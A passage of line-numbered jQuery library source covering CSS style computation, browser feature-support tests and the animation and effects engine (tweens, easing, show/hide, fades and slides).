3964 curCSS = function(elem, name, computed) {
3965 var left, rs, rsLeft, ret, style = elem.style;
3966 computed = computed || getStyles(elem);
3967 ret = computed ? computed[name] : undefined;
3968 if (ret == null && style && style[name]) {
3969 ret = style[name]
3970 }
3971 if (rnumnonpx.test(ret) && !rposition.test(name)) {
3972 left = style.left;
3973 rs = elem.runtimeStyle;
3974 rsLeft = rs && rs.left;
3975 if (rsLeft) {
3976 rs.left = elem.currentStyle.left
3977 }
3978 style.left = name === "fontSize" ? "1em" : ret;
3979 ret = style.pixelLeft + "px";
3980 style.left = left;
3981 if (rsLeft) {
3982 rs.left = rsLeft
3983 }
3984 }
3985 return ret === undefined ? ret : ret + "" || "auto"
3986 }
3987 }
3988
3989 function addGetHookIf(conditionFn, hookFn) {
3990 return {
3991 get: function() {
3992 var condition = conditionFn();
3993 if (condition == null) {
3994 return
3995 }
3996 if (condition) {
3997 delete this.get;
3998 return
3999 }
4000 return (this.get = hookFn).apply(this, arguments)
4001 }
4002 }
4003 }(function() {
4004 var div, style, a, pixelPositionVal, boxSizingReliableVal, reliableHiddenOffsetsVal, reliableMarginRightVal;
4005 div = document.createElement("div");
4006 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4007 a = div.getElementsByTagName("a")[0];
4008 style = a && a.style;
4009 if (!style) {
4010 return
4011 }
4012 style.cssText = "float:left;opacity:.5";
4013 support.opacity = style.opacity === "0.5";
4014 support.cssFloat = !!style.cssFloat;
4015 div.style.backgroundClip = "content-box";
4016 div.cloneNode(true).style.backgroundClip = "";
4017 support.clearCloneStyle = div.style.backgroundClip === "content-box";
4018 support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" || style.WebkitBoxSizing === "";
4019 jQuery.extend(support, {
4020 reliableHiddenOffsets: function() {
4021 if (reliableHiddenOffsetsVal == null) {
4022 computeStyleTests()
4023 }
4024 return reliableHiddenOffsetsVal
4025 },
4026 boxSizingReliable: function() {
4027 if (boxSizingReliableVal == null) {
4028 computeStyleTests()
4029 }
4030 return boxSizingReliableVal
4031 },
4032 pixelPosition: function() {
4033 if (pixelPositionVal == null) {
4034 computeStyleTests()
4035 }
4036 return pixelPositionVal
4037 },
4038 reliableMarginRight: function() {
4039 if (reliableMarginRightVal == null) {
4040 computeStyleTests()
4041 }
4042 return reliableMarginRightVal
4043 }
4044 });
4045
4046 function computeStyleTests() {
4047 var div, body, container, contents;
4048 body = document.getElementsByTagName("body")[0];
4049 if (!body || !body.style) {
4050 return
4051 }
4052 div = document.createElement("div");
4053 container = document.createElement("div");
4054 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
4055 body.appendChild(container).appendChild(div);
4056 div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" + "box-sizing:border-box;display:block;margin-top:1%;top:1%;" + "border:1px;padding:1px;width:4px;position:absolute";
4057 pixelPositionVal = boxSizingReliableVal = false;
4058 reliableMarginRightVal = true;
4059 if (window.getComputedStyle) {
4060 pixelPositionVal = (window.getComputedStyle(div, null) || {}).top !== "1%";
4061 boxSizingReliableVal = (window.getComputedStyle(div, null) || {
4062 width: "4px"
4063 }).width === "4px";
4064 contents = div.appendChild(document.createElement("div"));
4065 contents.style.cssText = div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;padding:0";
4066 contents.style.marginRight = contents.style.width = "0";
4067 div.style.width = "1px";
4068 reliableMarginRightVal = !parseFloat((window.getComputedStyle(contents, null) || {}).marginRight);
4069 div.removeChild(contents)
4070 }
4071 div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
4072 contents = div.getElementsByTagName("td");
4073 contents[0].style.cssText = "margin:0;border:0;padding:0;display:none";
4074 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0;
4075 if (reliableHiddenOffsetsVal) {
4076 contents[0].style.display = "";
4077 contents[1].style.display = "none";
4078 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0
4079 }
4080 body.removeChild(container)
4081 }
4082 })();
4083 jQuery.swap = function(elem, options, callback, args) {
4084 var ret, name, old = {};
4085 for (name in options) {
4086 old[name] = elem.style[name];
4087 elem.style[name] = options[name]
4088 }
4089 ret = callback.apply(elem, args || []);
4090 for (name in options) {
4091 elem.style[name] = old[name]
4092 }
4093 return ret
4094 };
4095 var ralpha = /alpha\([^)]*\)/i,
4096 ropacity = /opacity\s*=\s*([^)]*)/,
4097 rdisplayswap = /^(none|table(?!-c[ea]).+)/,
4098 rnumsplit = new RegExp("^(" + pnum + ")(.*)$", "i"),
4099 rrelNum = new RegExp("^([+-])=(" + pnum + ")", "i"),
4100 cssShow = {
4101 position: "absolute",
4102 visibility: "hidden",
4103 display: "block"
4104 },
4105 cssNormalTransform = {
4106 letterSpacing: "0",
4107 fontWeight: "400"
4108 },
4109 cssPrefixes = ["Webkit", "O", "Moz", "ms"];
4110
4111 function vendorPropName(style, name) {
4112 if (name in style) {
4113 return name
4114 }
4115 var capName = name.charAt(0).toUpperCase() + name.slice(1),
4116 origName = name,
4117 i = cssPrefixes.length;
4118 while (i--) {
4119 name = cssPrefixes[i] + capName;
4120 if (name in style) {
4121 return name
4122 }
4123 }
4124 return origName
4125 }
4126
4127 function showHide(elements, show) {
4128 var display, elem, hidden, values = [],
4129 index = 0,
4130 length = elements.length;
4131 for (; index < length; index++) {
4132 elem = elements[index];
4133 if (!elem.style) {
4134 continue
4135 }
4136 values[index] = jQuery._data(elem, "olddisplay");
4137 display = elem.style.display;
4138 if (show) {
4139 if (!values[index] && display === "none") {
4140 elem.style.display = ""
4141 }
4142 if (elem.style.display === "" && isHidden(elem)) {
4143 values[index] = jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName))
4144 }
4145 } else {
4146 hidden = isHidden(elem);
4147 if (display && display !== "none" || !hidden) {
4148 jQuery._data(elem, "olddisplay", hidden ? display : jQuery.css(elem, "display"))
4149 }
4150 }
4151 }
4152 for (index = 0; index < length; index++) {
4153 elem = elements[index];
4154 if (!elem.style) {
4155 continue
4156 }
4157 if (!show || elem.style.display === "none" || elem.style.display === "") {
4158 elem.style.display = show ? values[index] || "" : "none"
4159 }
4160 }
4161 return elements
4162 }
4163
4164 function setPositiveNumber(elem, value, subtract) {
4165 var matches = rnumsplit.exec(value);
4166 return matches ? Math.max(0, matches[1] - (subtract || 0)) + (matches[2] || "px") : value
4167 }
4168
4169 function augmentWidthOrHeight(elem, name, extra, isBorderBox, styles) {
4170 var i = extra === (isBorderBox ? "border" : "content") ? 4 : name === "width" ? 1 : 0,
4171 val = 0;
4172 for (; i < 4; i += 2) {
4173 if (extra === "margin") {
4174 val += jQuery.css(elem, extra + cssExpand[i], true, styles)
4175 }
4176 if (isBorderBox) {
4177 if (extra === "content") {
4178 val -= jQuery.css(elem, "padding" + cssExpand[i], true, styles)
4179 }
4180 if (extra !== "margin") {
4181 val -= jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4182 }
4183 } else {
4184 val += jQuery.css(elem, "padding" + cssExpand[i], true, styles);
4185 if (extra !== "padding") {
4186 val += jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4187 }
4188 }
4189 }
4190 return val
4191 }
4192
4193 function getWidthOrHeight(elem, name, extra) {
4194 var valueIsBorderBox = true,
4195 val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
4196 styles = getStyles(elem),
4197 isBorderBox = support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box";
4198 if (val <= 0 || val == null) {
4199 val = curCSS(elem, name, styles);
4200 if (val < 0 || val == null) {
4201 val = elem.style[name]
4202 }
4203 if (rnumnonpx.test(val)) {
4204 return val
4205 }
4206 valueIsBorderBox = isBorderBox && (support.boxSizingReliable() || val === elem.style[name]);
4207 val = parseFloat(val) || 0
4208 }
4209 return (val + augmentWidthOrHeight(elem, name, extra || (isBorderBox ? "border" : "content"), valueIsBorderBox, styles)) + "px"
4210 }
4211 jQuery.extend({
4212 cssHooks: {
4213 opacity: {
4214 get: function(elem, computed) {
4215 if (computed) {
4216 var ret = curCSS(elem, "opacity");
4217 return ret === "" ? "1" : ret
4218 }
4219 }
4220 }
4221 },
4222 cssNumber: {
4223 "columnCount": true,
4224 "fillOpacity": true,
4225 "flexGrow": true,
4226 "flexShrink": true,
4227 "fontWeight": true,
4228 "lineHeight": true,
4229 "opacity": true,
4230 "order": true,
4231 "orphans": true,
4232 "widows": true,
4233 "zIndex": true,
4234 "zoom": true
4235 },
4236 cssProps: {
4237 "float": support.cssFloat ? "cssFloat" : "styleFloat"
4238 },
4239 style: function(elem, name, value, extra) {
4240 if (!elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style) {
4241 return
4242 }
4243 var ret, type, hooks, origName = jQuery.camelCase(name),
4244 style = elem.style;
4245 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(style, origName));
4246 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4247 if (value !== undefined) {
4248 type = typeof value;
4249 if (type === "string" && (ret = rrelNum.exec(value))) {
4250 value = (ret[1] + 1) * ret[2] + parseFloat(jQuery.css(elem, name));
4251 type = "number"
4252 }
4253 if (value == null || value !== value) {
4254 return
4255 }
4256 if (type === "number" && !jQuery.cssNumber[origName]) {
4257 value += "px"
4258 }
4259 if (!support.clearCloneStyle && value === "" && name.indexOf("background") === 0) {
4260 style[name] = "inherit"
4261 }
4262 if (!hooks || !("set" in hooks) || (value = hooks.set(elem, value, extra)) !== undefined) {
4263 try {
4264 style[name] = value
4265 } catch (e) {}
4266 }
4267 } else {
4268 if (hooks && "get" in hooks && (ret = hooks.get(elem, false, extra)) !== undefined) {
4269 return ret
4270 }
4271 return style[name]
4272 }
4273 },
4274 css: function(elem, name, extra, styles) {
4275 var num, val, hooks, origName = jQuery.camelCase(name);
4276 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(elem.style, origName));
4277 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4278 if (hooks && "get" in hooks) {
4279 val = hooks.get(elem, true, extra)
4280 }
4281 if (val === undefined) {
4282 val = curCSS(elem, name, styles)
4283 }
4284 if (val === "normal" && name in cssNormalTransform) {
4285 val = cssNormalTransform[name]
4286 }
4287 if (extra === "" || extra) {
4288 num = parseFloat(val);
4289 return extra === true || jQuery.isNumeric(num) ? num || 0 : val
4290 }
4291 return val
4292 }
4293 });
4294 jQuery.each(["height", "width"], function(i, name) {
4295 jQuery.cssHooks[name] = {
4296 get: function(elem, computed, extra) {
4297 if (computed) {
4298 return rdisplayswap.test(jQuery.css(elem, "display")) && elem.offsetWidth === 0 ? jQuery.swap(elem, cssShow, function() {
4299 return getWidthOrHeight(elem, name, extra)
4300 }) : getWidthOrHeight(elem, name, extra)
4301 }
4302 },
4303 set: function(elem, value, extra) {
4304 var styles = extra && getStyles(elem);
4305 return setPositiveNumber(elem, value, extra ? augmentWidthOrHeight(elem, name, extra, support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box", styles) : 0)
4306 }
4307 }
4308 });
4309 if (!support.opacity) {
4310 jQuery.cssHooks.opacity = {
4311 get: function(elem, computed) {
4312 return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : computed ? "1" : ""
4313 },
4314 set: function(elem, value) {
4315 var style = elem.style,
4316 currentStyle = elem.currentStyle,
4317 opacity = jQuery.isNumeric(value) ? "alpha(opacity=" + value * 100 + ")" : "",
4318 filter = currentStyle && currentStyle.filter || style.filter || "";
4319 style.zoom = 1;
4320 if ((value >= 1 || value === "") && jQuery.trim(filter.replace(ralpha, "")) === "" && style.removeAttribute) {
4321 style.removeAttribute("filter");
4322 if (value === "" || currentStyle && !currentStyle.filter) {
4323 return
4324 }
4325 }
4326 style.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : filter + " " + opacity
4327 }
4328 }
4329 }
4330 jQuery.cssHooks.marginRight = addGetHookIf(support.reliableMarginRight, function(elem, computed) {
4331 if (computed) {
4332 return jQuery.swap(elem, {
4333 "display": "inline-block"
4334 }, curCSS, [elem, "marginRight"])
4335 }
4336 });
4337 jQuery.each({
4338 margin: "",
4339 padding: "",
4340 border: "Width"
4341 }, function(prefix, suffix) {
4342 jQuery.cssHooks[prefix + suffix] = {
4343 expand: function(value) {
4344 var i = 0,
4345 expanded = {},
4346 parts = typeof value === "string" ? value.split(" ") : [value];
4347 for (; i < 4; i++) {
4348 expanded[prefix + cssExpand[i] + suffix] = parts[i] || parts[i - 2] || parts[0]
4349 }
4350 return expanded
4351 }
4352 };
4353 if (!rmargin.test(prefix)) {
4354 jQuery.cssHooks[prefix + suffix].set = setPositiveNumber
4355 }
4356 });
4357 jQuery.fn.extend({
4358 css: function(name, value) {
4359 return access(this, function(elem, name, value) {
4360 var styles, len, map = {},
4361 i = 0;
4362 if (jQuery.isArray(name)) {
4363 styles = getStyles(elem);
4364 len = name.length;
4365 for (; i < len; i++) {
4366 map[name[i]] = jQuery.css(elem, name[i], false, styles)
4367 }
4368 return map
4369 }
4370 return value !== undefined ? jQuery.style(elem, name, value) : jQuery.css(elem, name)
4371 }, name, value, arguments.length > 1)
4372 },
4373 show: function() {
4374 return showHide(this, true)
4375 },
4376 hide: function() {
4377 return showHide(this)
4378 },
4379 toggle: function(state) {
4380 if (typeof state === "boolean") {
4381 return state ? this.show() : this.hide()
4382 }
4383 return this.each(function() {
4384 if (isHidden(this)) {
4385 jQuery(this).show()
4386 } else {
4387 jQuery(this).hide()
4388 }
4389 })
4390 }
4391 });
4392
4393 function Tween(elem, options, prop, end, easing) {
4394 return new Tween.prototype.init(elem, options, prop, end, easing)
4395 }
4396 jQuery.Tween = Tween;
4397 Tween.prototype = {
4398 constructor: Tween,
4399 init: function(elem, options, prop, end, easing, unit) {
4400 this.elem = elem;
4401 this.prop = prop;
4402 this.easing = easing || "swing";
4403 this.options = options;
4404 this.start = this.now = this.cur();
4405 this.end = end;
4406 this.unit = unit || (jQuery.cssNumber[prop] ? "" : "px")
4407 },
4408 cur: function() {
4409 var hooks = Tween.propHooks[this.prop];
4410 return hooks && hooks.get ? hooks.get(this) : Tween.propHooks._default.get(this)
4411 },
4412 run: function(percent) {
4413 var eased, hooks = Tween.propHooks[this.prop];
4414 if (this.options.duration) {
4415 this.pos = eased = jQuery.easing[this.easing](percent, this.options.duration * percent, 0, 1, this.options.duration)
4416 } else {
4417 this.pos = eased = percent
4418 }
4419 this.now = (this.end - this.start) * eased + this.start;
4420 if (this.options.step) {
4421 this.options.step.call(this.elem, this.now, this)
4422 }
4423 if (hooks && hooks.set) {
4424 hooks.set(this)
4425 } else {
4426 Tween.propHooks._default.set(this)
4427 }
4428 return this
4429 }
4430 };
4431 Tween.prototype.init.prototype = Tween.prototype;
4432 Tween.propHooks = {
4433 _default: {
4434 get: function(tween) {
4435 var result;
4436 if (tween.elem[tween.prop] != null && (!tween.elem.style || tween.elem.style[tween.prop] == null)) {
4437 return tween.elem[tween.prop]
4438 }
4439 result = jQuery.css(tween.elem, tween.prop, "");
4440 return !result || result === "auto" ? 0 : result
4441 },
4442 set: function(tween) {
4443 if (jQuery.fx.step[tween.prop]) {
4444 jQuery.fx.step[tween.prop](tween)
4445 } else if (tween.elem.style && (tween.elem.style[jQuery.cssProps[tween.prop]] != null || jQuery.cssHooks[tween.prop])) {
4446 jQuery.style(tween.elem, tween.prop, tween.now + tween.unit)
4447 } else {
4448 tween.elem[tween.prop] = tween.now
4449 }
4450 }
4451 }
4452 };
4453 Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
4454 set: function(tween) {
4455 if (tween.elem.nodeType && tween.elem.parentNode) {
4456 tween.elem[tween.prop] = tween.now
4457 }
4458 }
4459 };
4460 jQuery.easing = {
4461 linear: function(p) {
4462 return p
4463 },
4464 swing: function(p) {
4465 return 0.5 - Math.cos(p * Math.PI) / 2
4466 }
4467 };
4468 jQuery.fx = Tween.prototype.init;
4469 jQuery.fx.step = {};
4470 var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/,
4471 rfxnum = new RegExp("^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i"),
4472 rrun = /queueHooks$/,
4473 animationPrefilters = [defaultPrefilter],
4474 tweeners = {
4475 "*": [function(prop, value) {
4476 var tween = this.createTween(prop, value),
4477 target = tween.cur(),
4478 parts = rfxnum.exec(value),
4479 unit = parts && parts[3] || (jQuery.cssNumber[prop] ? "" : "px"),
4480 start = (jQuery.cssNumber[prop] || unit !== "px" && +target) && rfxnum.exec(jQuery.css(tween.elem, prop)),
4481 scale = 1,
4482 maxIterations = 20;
4483 if (start && start[3] !== unit) {
4484 unit = unit || start[3];
4485 parts = parts || [];
4486 start = +target || 1;
4487 do {
4488 scale = scale || ".5";
4489 start = start / scale;
4490 jQuery.style(tween.elem, prop, start + unit)
4491 } while (scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations)
4492 }
4493 if (parts) {
4494 start = tween.start = +start || +target || 0;
4495 tween.unit = unit;
4496 tween.end = parts[1] ? start + (parts[1] + 1) * parts[2] : +parts[2]
4497 }
4498 return tween
4499 }]
4500 };
4501
4502 function createFxNow() {
4503 setTimeout(function() {
4504 fxNow = undefined
4505 });
4506 return (fxNow = jQuery.now())
4507 }
4508
4509 function genFx(type, includeWidth) {
4510 var which, attrs = {
4511 height: type
4512 },
4513 i = 0;
4514 includeWidth = includeWidth ? 1 : 0;
4515 for (; i < 4; i += 2 - includeWidth) {
4516 which = cssExpand[i];
4517 attrs["margin" + which] = attrs["padding" + which] = type
4518 }
4519 if (includeWidth) {
4520 attrs.opacity = attrs.width = type
4521 }
4522 return attrs
4523 }
4524
4525 function createTween(value, prop, animation) {
4526 var tween, collection = (tweeners[prop] || []).concat(tweeners["*"]),
4527 index = 0,
4528 length = collection.length;
4529 for (; index < length; index++) {
4530 if ((tween = collection[index].call(animation, prop, value))) {
4531 return tween
4532 }
4533 }
4534 }
4535
4536 function defaultPrefilter(elem, props, opts) {
4537 var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this,
4538 orig = {},
4539 style = elem.style,
4540 hidden = elem.nodeType && isHidden(elem),
4541 dataShow = jQuery._data(elem, "fxshow");
4542 if (!opts.queue) {
4543 hooks = jQuery._queueHooks(elem, "fx");
4544 if (hooks.unqueued == null) {
4545 hooks.unqueued = 0;
4546 oldfire = hooks.empty.fire;
4547 hooks.empty.fire = function() {
4548 if (!hooks.unqueued) {
4549 oldfire()
4550 }
4551 }
4552 }
4553 hooks.unqueued++;
4554 anim.always(function() {
4555 anim.always(function() {
4556 hooks.unqueued--;
4557 if (!jQuery.queue(elem, "fx").length) {
4558 hooks.empty.fire()
4559 }
4560 })
4561 })
4562 }
4563 if (elem.nodeType === 1 && ("height" in props || "width" in props)) {
4564 opts.overflow = [style.overflow, style.overflowX, style.overflowY];
4565 display = jQuery.css(elem, "display");
4566 checkDisplay = display === "none" ? jQuery._data(elem, "olddisplay") || defaultDisplay(elem.nodeName) : display;
4567 if (checkDisplay === "inline" && jQuery.css(elem, "float") === "none") {
4568 if (!support.inlineBlockNeedsLayout || defaultDisplay(elem.nodeName) === "inline") {
4569 style.display = "inline-block"
4570 } else {
4571 style.zoom = 1
4572 }
4573 }
4574 }
4575 if (opts.overflow) {
4576 style.overflow = "hidden";
4577 if (!support.shrinkWrapBlocks()) {
4578 anim.always(function() {
4579 style.overflow = opts.overflow[0];
4580 style.overflowX = opts.overflow[1];
4581 style.overflowY = opts.overflow[2]
4582 })
4583 }
4584 }
4585 for (prop in props) {
4586 value = props[prop];
4587 if (rfxtypes.exec(value)) {
4588 delete props[prop];
4589 toggle = toggle || value === "toggle";
4590 if (value === (hidden ? "hide" : "show")) {
4591 if (value === "show" && dataShow && dataShow[prop] !== undefined) {
4592 hidden = true
4593 } else {
4594 continue
4595 }
4596 }
4597 orig[prop] = dataShow && dataShow[prop] || jQuery.style(elem, prop)
4598 } else {
4599 display = undefined
4600 }
4601 }
4602 if (!jQuery.isEmptyObject(orig)) {
4603 if (dataShow) {
4604 if ("hidden" in dataShow) {
4605 hidden = dataShow.hidden
4606 }
4607 } else {
4608 dataShow = jQuery._data(elem, "fxshow", {})
4609 }
4610 if (toggle) {
4611 dataShow.hidden = !hidden
4612 }
4613 if (hidden) {
4614 jQuery(elem).show()
4615 } else {
4616 anim.done(function() {
4617 jQuery(elem).hide()
4618 })
4619 }
4620 anim.done(function() {
4621 var prop;
4622 jQuery._removeData(elem, "fxshow");
4623 for (prop in orig) {
4624 jQuery.style(elem, prop, orig[prop])
4625 }
4626 });
4627 for (prop in orig) {
4628 tween = createTween(hidden ? dataShow[prop] : 0, prop, anim);
4629 if (!(prop in dataShow)) {
4630 dataShow[prop] = tween.start;
4631 if (hidden) {
4632 tween.end = tween.start;
4633 tween.start = prop === "width" || prop === "height" ? 1 : 0
4634 }
4635 }
4636 }
4637 } else if ((display === "none" ? defaultDisplay(elem.nodeName) : display) === "inline") {
4638 style.display = display
4639 }
4640 }
4641
4642 function propFilter(props, specialEasing) {
4643 var index, name, easing, value, hooks;
4644 for (index in props) {
4645 name = jQuery.camelCase(index);
4646 easing = specialEasing[name];
4647 value = props[index];
4648 if (jQuery.isArray(value)) {
4649 easing = value[1];
4650 value = props[index] = value[0]
4651 }
4652 if (index !== name) {
4653 props[name] = value;
4654 delete props[index]
4655 }
4656 hooks = jQuery.cssHooks[name];
4657 if (hooks && "expand" in hooks) {
4658 value = hooks.expand(value);
4659 delete props[name];
4660 for (index in value) {
4661 if (!(index in props)) {
4662 props[index] = value[index];
4663 specialEasing[index] = easing
4664 }
4665 }
4666 } else {
4667 specialEasing[name] = easing
4668 }
4669 }
4670 }
4671
4672 function Animation(elem, properties, options) {
4673 var result, stopped, index = 0,
4674 length = animationPrefilters.length,
4675 deferred = jQuery.Deferred().always(function() {
4676 delete tick.elem
4677 }),
4678 tick = function() {
4679 if (stopped) {
4680 return false
4681 }
4682 var currentTime = fxNow || createFxNow(),
4683 remaining = Math.max(0, animation.startTime + animation.duration - currentTime),
4684 temp = remaining / animation.duration || 0,
4685 percent = 1 - temp,
4686 index = 0,
4687 length = animation.tweens.length;
4688 for (; index < length; index++) {
4689 animation.tweens[index].run(percent)
4690 }
4691 deferred.notifyWith(elem, [animation, percent, remaining]);
4692 if (percent < 1 && length) {
4693 return remaining
4694 } else {
4695 deferred.resolveWith(elem, [animation]);
4696 return false
4697 }
4698 },
4699 animation = deferred.promise({
4700 elem: elem,
4701 props: jQuery.extend({}, properties),
4702 opts: jQuery.extend(true, {
4703 specialEasing: {}
4704 }, options),
4705 originalProperties: properties,
4706 originalOptions: options,
4707 startTime: fxNow || createFxNow(),
4708 duration: options.duration,
4709 tweens: [],
4710 createTween: function(prop, end) {
4711 var tween = jQuery.Tween(elem, animation.opts, prop, end, animation.opts.specialEasing[prop] || animation.opts.easing);
4712 animation.tweens.push(tween);
4713 return tween
4714 },
4715 stop: function(gotoEnd) {
4716 var index = 0,
4717 length = gotoEnd ? animation.tweens.length : 0;
4718 if (stopped) {
4719 return this
4720 }
4721 stopped = true;
4722 for (; index < length; index++) {
4723 animation.tweens[index].run(1)
4724 }
4725 if (gotoEnd) {
4726 deferred.resolveWith(elem, [animation, gotoEnd])
4727 } else {
4728 deferred.rejectWith(elem, [animation, gotoEnd])
4729 }
4730 return this
4731 }
4732 }),
4733 props = animation.props;
4734 propFilter(props, animation.opts.specialEasing);
4735 for (; index < length; index++) {
4736 result = animationPrefilters[index].call(animation, elem, props, animation.opts);
4737 if (result) {
4738 return result
4739 }
4740 }
4741 jQuery.map(props, createTween, animation);
4742 if (jQuery.isFunction(animation.opts.start)) {
4743 animation.opts.start.call(elem, animation)
4744 }
4745 jQuery.fx.timer(jQuery.extend(tick, {
4746 elem: elem,
4747 anim: animation,
4748 queue: animation.opts.queue
4749 }));
4750 return animation.progress(animation.opts.progress).done(animation.opts.done, animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)
4751 }
4752 jQuery.Animation = jQuery.extend(Animation, {
4753 tweener: function(props, callback) {
4754 if (jQuery.isFunction(props)) {
4755 callback = props;
4756 props = ["*"]
4757 } else {
4758 props = props.split(" ")
4759 }
4760 var prop, index = 0,
4761 length = props.length;
4762 for (; index < length; index++) {
4763 prop = props[index];
4764 tweeners[prop] = tweeners[prop] || [];
4765 tweeners[prop].unshift(callback)
4766 }
4767 },
4768 prefilter: function(callback, prepend) {
4769 if (prepend) {
4770 animationPrefilters.unshift(callback)
4771 } else {
4772 animationPrefilters.push(callback)
4773 }
4774 }
4775 });
4776 jQuery.speed = function(speed, easing, fn) {
4777 var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
4778 complete: fn || !fn && easing || jQuery.isFunction(speed) && speed,
4779 duration: speed,
4780 easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
4781 };
4782 opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
4783 if (opt.queue == null || opt.queue === true) {
4784 opt.queue = "fx"
4785 }
4786 opt.old = opt.complete;
4787 opt.complete = function() {
4788 if (jQuery.isFunction(opt.old)) {
4789 opt.old.call(this)
4790 }
4791 if (opt.queue) {
4792 jQuery.dequeue(this, opt.queue)
4793 }
4794 };
4795 return opt
4796 };
4797 jQuery.fn.extend({
4798 fadeTo: function(speed, to, easing, callback) {
4799 return this.filter(isHidden).css("opacity", 0).show().end().animate({
4800 opacity: to
4801 }, speed, easing, callback)
4802 },
4803 animate: function(prop, speed, easing, callback) {
4804 var empty = jQuery.isEmptyObject(prop),
4805 optall = jQuery.speed(speed, easing, callback),
4806 doAnimation = function() {
4807 var anim = Animation(this, jQuery.extend({}, prop), optall);
4808 if (empty || jQuery._data(this, "finish")) {
4809 anim.stop(true)
4810 }
4811 };
4812 doAnimation.finish = doAnimation;
4813 return empty || optall.queue === false ? this.each(doAnimation) : this.queue(optall.queue, doAnimation)
4814 },
4815 stop: function(type, clearQueue, gotoEnd) {
4816 var stopQueue = function(hooks) {
4817 var stop = hooks.stop;
4818 delete hooks.stop;
4819 stop(gotoEnd)
4820 };
4821 if (typeof type !== "string") {
4822 gotoEnd = clearQueue;
4823 clearQueue = type;
4824 type = undefined
4825 }
4826 if (clearQueue && type !== false) {
4827 this.queue(type || "fx", [])
4828 }
4829 return this.each(function() {
4830 var dequeue = true,
4831 index = type != null && type + "queueHooks",
4832 timers = jQuery.timers,
4833 data = jQuery._data(this);
4834 if (index) {
4835 if (data[index] && data[index].stop) {
4836 stopQueue(data[index])
4837 }
4838 } else {
4839 for (index in data) {
4840 if (data[index] && data[index].stop && rrun.test(index)) {
4841 stopQueue(data[index])
4842 }
4843 }
4844 }
4845 for (index = timers.length; index--;) {
4846 if (timers[index].elem === this && (type == null || timers[index].queue === type)) {
4847 timers[index].anim.stop(gotoEnd);
4848 dequeue = false;
4849 timers.splice(index, 1)
4850 }
4851 }
4852 if (dequeue || !gotoEnd) {
4853 jQuery.dequeue(this, type)
4854 }
4855 })
4856 },
4857 finish: function(type) {
4858 if (type !== false) {
4859 type = type || "fx"
4860 }
4861 return this.each(function() {
4862 var index, data = jQuery._data(this),
4863 queue = data[type + "queue"],
4864 hooks = data[type + "queueHooks"],
4865 timers = jQuery.timers,
4866 length = queue ? queue.length : 0;
4867 data.finish = true;
4868 jQuery.queue(this, type, []);
4869 if (hooks && hooks.stop) {
4870 hooks.stop.call(this, true)
4871 }
4872 for (index = timers.length; index--;) {
4873 if (timers[index].elem === this && timers[index].queue === type) {
4874 timers[index].anim.stop(true);
4875 timers.splice(index, 1)
4876 }
4877 }
4878 for (index = 0; index < length; index++) {
4879 if (queue[index] && queue[index].finish) {
4880 queue[index].finish.call(this)
4881 }
4882 }
4883 delete data.finish
4884 })
4885 }
4886 });
4887 jQuery.each(["toggle", "show", "hide"], function(i, name) {
4888 var cssFn = jQuery.fn[name];
4889 jQuery.fn[name] = function(speed, easing, callback) {
4890 return speed == null || typeof speed === "boolean" ? cssFn.apply(this, arguments) : this.animate(genFx(name, true), speed, easing, callback)
4891 }
4892 });
4893 jQuery.each({
4894 slideDown: genFx("show"),
4895 slideUp: genFx("hide"),
4896 slideToggle: genFx("toggle"),
4897 fadeIn: {
4898 opacity: "show"
4899 },
4900 fadeOut: {
4901 opacity: "hide"
4902 },
4903 fadeToggle: {
4904 opacity: "toggle"
4905 }
4906 }, function(name, props) {
4907 jQuery.fn[name] = function(speed, easing, callback) {
4908 return this.animate(props, speed, easing, callback)
4909 }
4910 });
4911 jQuery.timers = [];
4912 jQuery.fx.tick = function() {
4913 var timer, timers = jQuery.timers,
4914 i = 0;
4915 fxNow = jQuery.now();
4916 for (; i < timers.length; i++) {
4917 timer = timers[i];
4918 if (!timer() && timers[i] === timer) {
4919 timers.splice(i--, 1)
4920 }
4921 }
4922 if (!timers.length) {
4923 jQuery.fx.stop()
4924 }
4925 fxNow = undefined
4926 };
4927 jQuery.fx.timer = function(timer) {
4928 jQuery.timers.push(timer);
4929 if (timer()) {
4930 jQuery.fx.start()
4931 } else {
4932 jQuery.timers.pop()
4933 }
4934 };
4935 jQuery.fx.interval = 13;
4936 jQuery.fx.start = function() {
4937 if (!timerId) {
4938 timerId = setInterval(jQuery.fx.tick, jQuery.fx.interval)
4939 }
4940 };
4941 jQuery.fx.stop = function() {
4942 clearInterval(timerId);
4943 timerId = null
4944 };
4945 jQuery.fx.speeds = {
4946 slow: 600,
4947 fast: 200,
4948 _default: 400
4949 };
